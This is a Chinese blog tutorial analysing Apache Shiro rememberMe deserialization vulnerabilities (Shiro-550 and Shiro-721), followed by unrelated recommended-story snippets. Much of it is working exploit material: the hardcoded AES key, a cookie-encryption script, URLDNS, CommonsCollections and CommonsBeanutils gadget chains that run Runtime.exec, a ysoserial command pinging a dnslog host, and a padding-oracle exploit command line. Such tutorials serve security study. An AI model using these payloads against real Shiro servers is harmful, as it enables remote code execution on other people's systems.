shiro反序列化

shiro550

环境搭建

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

配置pom.xml

<dependencies>

    <dependency>

        <groupId>javax.servlet</groupId>

        <artifactId>jstl</artifactId>

        <scope>runtime</scope>

    </dependency>

    <dependency>

        <groupId>javax.servlet</groupId>

        <artifactId>servlet-api</artifactId>

        <scope>provided</scope>

    </dependency>

    <dependency>

        <groupId>org.slf4j</groupId>

        <artifactId>slf4j-log4j12</artifactId>

        <scope>runtime</scope>

    </dependency>

    <dependency>

        <groupId>log4j</groupId>

        <artifactId>log4j</artifactId>

        <scope>runtime</scope>

    </dependency>

    <dependency>

        <groupId>net.sourceforge.htmlunit</groupId>

        <artifactId>htmlunit</artifactId>

        <version>2.6</version>

        <scope>test</scope>

    </dependency>

    <dependency>

        <groupId>org.apache.shiro</groupId>

        <artifactId>shiro-core</artifactId>

    </dependency>

    <dependency>

        <groupId>org.apache.shiro</groupId>

        <artifactId>shiro-web</artifactId>

    </dependency>

    <dependency>

        <groupId>org.mortbay.jetty</groupId>

        <artifactId>jetty</artifactId>

        <version>${jetty.version}</version>

        <scope>test</scope>

    </dependency>

    <dependency>

        <groupId>org.mortbay.jetty</groupId>

        <artifactId>jsp-2.1-jetty</artifactId>

        <version>${jetty.version}</version>

        <scope>test</scope>

    </dependency>

    <dependency>

        <groupId>org.slf4j</groupId>

        <artifactId>jcl-over-slf4j</artifactId>

        <scope>runtime</scope>

    </dependency>

    <dependency>

        <groupId>jstl</groupId>

        <artifactId>jstl</artifactId>

        <version>1.2</version>

    </dependency>

</dependencies>

可能出现的问题

无法解析插件 org.apache.maven.plugins:maven-clean-plugin:2.5

主要原理是因为maven默认用的是外网,会导致有些插件无法下载成功

解决方式:

将maven设置为国内镜像

修改maven3中的settings.xml文件

路径:xxxx\InteLiJ\plugins\maven\lib\maven3\conf

将标签的内容替换为

<mirror>

<id>mirrorId</id>

<mirrorOf>central</mirrorOf>

<name>Human Readable Name </name>

<url>http://repo1.maven.org/maven2/</url>

</mirror>

<!-- 阿里云镜像 -->

<mirror>

<id>alimaven</id>

<name>aliyun maven</name>

<url>http://central.maven.org/maven2</url>

<mirrorOf>central</mirrorOf>

</mirror>

<!-- 阿里云镜像 -->

<mirror>

<id>alimaven</id>

<name>aliyun maven</name>

<url>http://maven.aliyun.com/nexus/content/repositories/central/</url>

<mirrorOf>central</mirrorOf>

</mirror>

<!-- junit镜像地址 -->

<mirror>

<id>junit</id>

<name>junit Address/</name>

<url>http://jcenter.bintray.com/</url>

<mirrorOf>central</mirrorOf>

</mirror>

然后重启maven即可

只需要将压缩包中的web目录解压,然后作为网站根目录即可

漏洞分析

加密过程

在ildea里点击两下Shift,搜索rememberMeSuccessfulLogin

对用户名就行序列化操作

跟进serialize

继续跟进 跟进serialize,这里就是真实的序列化操作

执行完serialize函数加入encrypt

可以看到有一个cipherService.encrypt函数,它其实是将序列化的内容进行aes加密,而getEncryptionCipherKey函数是获取密钥的函数

跟进getEncryptionCipherKey函数,发现返回的是encryptionCioherKey这个属性

getEncryptionCipherKey为AbstractRememberMeManager类中的方法,因此我们自己看构造方法

这里定义了一个常量DEFAULT_CIPHER_KEY_BYTES

跟进到这里会发现setEncryptionCipherKey方法其实就是将DEFAULT_CIPHER_KEY_BYTES赋值给了encryptionCipherKey,在这里就获得了密钥

进入rememberSerializedIdentity方法,这个方法的作用其实就是添加cookie

加密过程就结束了

解密过程

搜索getRememberedIdentity

获取http的Request和Response

获取Cookie内容

这里就是解密过程

在这里调用了反序列化

由于原生的shrio是无法利用cc链的,因此我们在这里直接利用URLDNS这条链

URLDNS

import java.io.*;

import java.lang.reflect.Field;

import java.net.URL;

import java.util.HashMap;

public class urldns {

    public static void main(String[] args) throws Exception {

        HashMap<URL, String> hashMap = new HashMap<URL, String>();

        URL url = new URL("http://rmu2na.dnslog.cn");

        Field f = URL.class.getDeclaredField("hashCode");

        f.setAccessible(true);

        // 这步是防止写入时触发dns查询,详见下文序列化条件总结

        f.set(url, 1);

        hashMap.put(url, "foo");

        f.set(url, -1);


        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.out"));

        oos.writeObject(hashMap);

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.out"));

        ois.readObject();


    }

}

由于反序列化的内容是二进制文件,因此需要利用脚本进行加密操作

import sys

import uuid

import base64

import subprocess

from Crypto.Cipher import AES

def get_file(name):

    with open(name,'rb') as f:

        data = f.read()

    return data

def en_aes(data):

    BS = AES.block_size

    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

    iv = uuid.uuid4().bytes

    encryptor = AES.new(key, AES.MODE_CBC, iv)

    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))

    return base64_ciphertext

if __name__ == '__main__':

    data = get_file("test.out")

    print(en_aes(data))

这里需要将Cookie中的JSESSIONID=xxx;删除掉才会触发服务器重新读取Cookie

由于Shrio对resolveClass进行了修改,导致数组类无法加载,因此原生的cc链是无法直接使用的

有cc依赖

package com.naihe;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javassist.CannotCompileException;

import javassist.ClassPool;

import javassist.CtClass;

import javassist.NotFoundException;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.keyvalue.TiedMapEntry;

import org.apache.commons.collections.map.LazyMap;

import java.io.*;

import java.lang.reflect.Field;

import java.util.HashMap;

import java.util.Map;

public class cc {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, NotFoundException, CannotCompileException, ClassNotFoundException {

        //通过字节码构建恶意类

        ClassPool classPool= ClassPool.getDefault();

        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

        classPool.appendClassPath(AbstractTranslet);

        CtClass payload=classPool.makeClass("CommonsCollections3");

        payload.setSuperclass(classPool.get(AbstractTranslet));

        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] bytes=payload.toBytecode();

        //CC3

        TemplatesImpl templates = new TemplatesImpl();

        Class<? extends TemplatesImpl> aClass = templates.getClass();

        Field nameField = aClass.getDeclaredField("_name");

        nameField.setAccessible(true);

        nameField.set(templates,"aaaa");

        Field bytecodesField = aClass.getDeclaredField("_bytecodes");

        bytecodesField.setAccessible(true);

        bytecodesField.set(templates,new byte[][]{bytes});

        //CC2

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

        //CC6

        HashMap<Object, Object> map = new HashMap<>();

        Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

        HashMap<Object, Object> map2 = new HashMap<>();

        map2.put(tiedMapEntry,"bbb");

        lazyMap.remove(templates);

        Class<LazyMap> c = LazyMap.class;

        Field factoryField = c.getDeclaredField("factory");

        factoryField.setAccessible(true);

        factoryField.set(lazyMap,invokerTransformer);

        serialize(map2);

    }

    public static void serialize(Object obj) throws IOException, ClassNotFoundException {

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));

        objectOutputStream.writeObject(obj);

        objectOutputStream.close();

        unserialize("test.out");

    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));

        Object object = objectInputStream.readObject();

        return object;

    }

}

无cc依赖

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javassist.ClassPool;

import javassist.CtClass;

import org.apache.commons.beanutils.BeanComparator;

import java.io.*;

import java.lang.reflect.Field;

import java.util.PriorityQueue;

public class CB1 {

    // 修改值的方法,简化代码

    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{

        Field field = object.getClass().getDeclaredField(fieldName);

        field.setAccessible(true);

        field.set(object, value);

    }

    public static void main(String[] args) throws Exception {

        // 创建恶意类,用于报错抛出调用链

        ClassPool pool = ClassPool.getDefault();

        CtClass payload = pool.makeClass("EvilClass");

        payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));

        payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");

        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");

        byte[] evilClass = payload.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();

        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});

        setFieldValue(templates, "_name", "test");

        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);

        queue.add("1");

        queue.add("1");

        setFieldValue(beanComparator, "property", "outputProperties");

        setFieldValue(queue, "queue", new Object[]{templates, templates});

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("test.out"));

        out.writeObject(queue);

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("test.out"));

        in.readObject();

    }

}

shiro721

漏洞原理

Apapche Shiro RememberMe Cookie 默认通过 AES-128-CBC 模式加密 , 这种加密模式容易受到 Padding Oracle Attack( Oracle 填充攻击 ) , 攻击者可以使用有效的 RememberMe Cookie 作为 Paddding Oracle Attack 的前缀 , 然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击.

复现步骤:

1. 登录网站并且获取 RememberMe Cookie 值

2. 使用 RememberMe Cookie 值来作为 Padding Oracle Attack 的前缀

3. 通过 Padding Oracle Attack 的攻击方式精心构造可利用的 YSoSerial 反序列化数据

4. 将构造好的反序列化数据填充到 RememberMe Cookie 字段中并发送 , 即可在目标服务器上执行任意代码

需要通过爆破获取密钥,才能生成正确的rememberme cookie

用java  -jar ysoserial-master-6eca5bc740-1.jar CommonsBeanutils1 "ping gj9qn9.dnslog.cn" > payload.class

python shiro_exp.py  http://127.0.0.1:8080/samples-web-1.4.1/account/  7y9G8wmu+3c94D0kaxohut34n3ldwNnWxmrT9DQDEiSrQ7agYNnci1mh+IYQLmL8cehaMPcnBDclNaEN6eZrPvsEX7eApt5SJEZkmow+ZPsEsnh4wrnHoe7p8RjGVu6P/onx7nrFzZln9d4RC1N8vxEVPUlYZXU7xsMRs35Q8ziFH1EJ1jl/5eiDTn7Wx3yLbHCPyg6v+Qu5ADD+AMbvdHzlLOwY8Pfm5uqEKp36jIwsZjDcQJRhwyUjhAuRyqSUEFKzAq95XUYRaBKKsoxQwN6gD4z7G6lAIBY880CP0QIMhImmbHVfJti/rrnJ/RsxJtoeIH8TujlsEvcCGbJ3Od2XDbhilQUT57XralFArZB7tVCQE9/Vdce96jzR1TjD2rsPbg77eEUXOWbwkYBkJxFBex+p/YrLeJnxm9IvDijGHH2pZp9kCkej7uc8qPm+rH+V3xE0ChIxZXF5l9ScPsvHLJD+gAhgszg75pQnLiS5SOPG73GCj2gFFzzsKnCB  payload.class

检测工具

工具:

https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/download/v2.51/ShiroExploit.V2.51.7z

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,569评论 4 363
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,499评论 1 294
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,271评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,087评论 0 209
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,474评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,670评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,911评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,636评论 0 202
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,397评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,607评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,093评论 1 261
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,418评论 2 254
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,074评论 3 237
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,092评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,865评论 0 196
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,726评论 2 276
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,627评论 2 270

推荐阅读更多精彩内容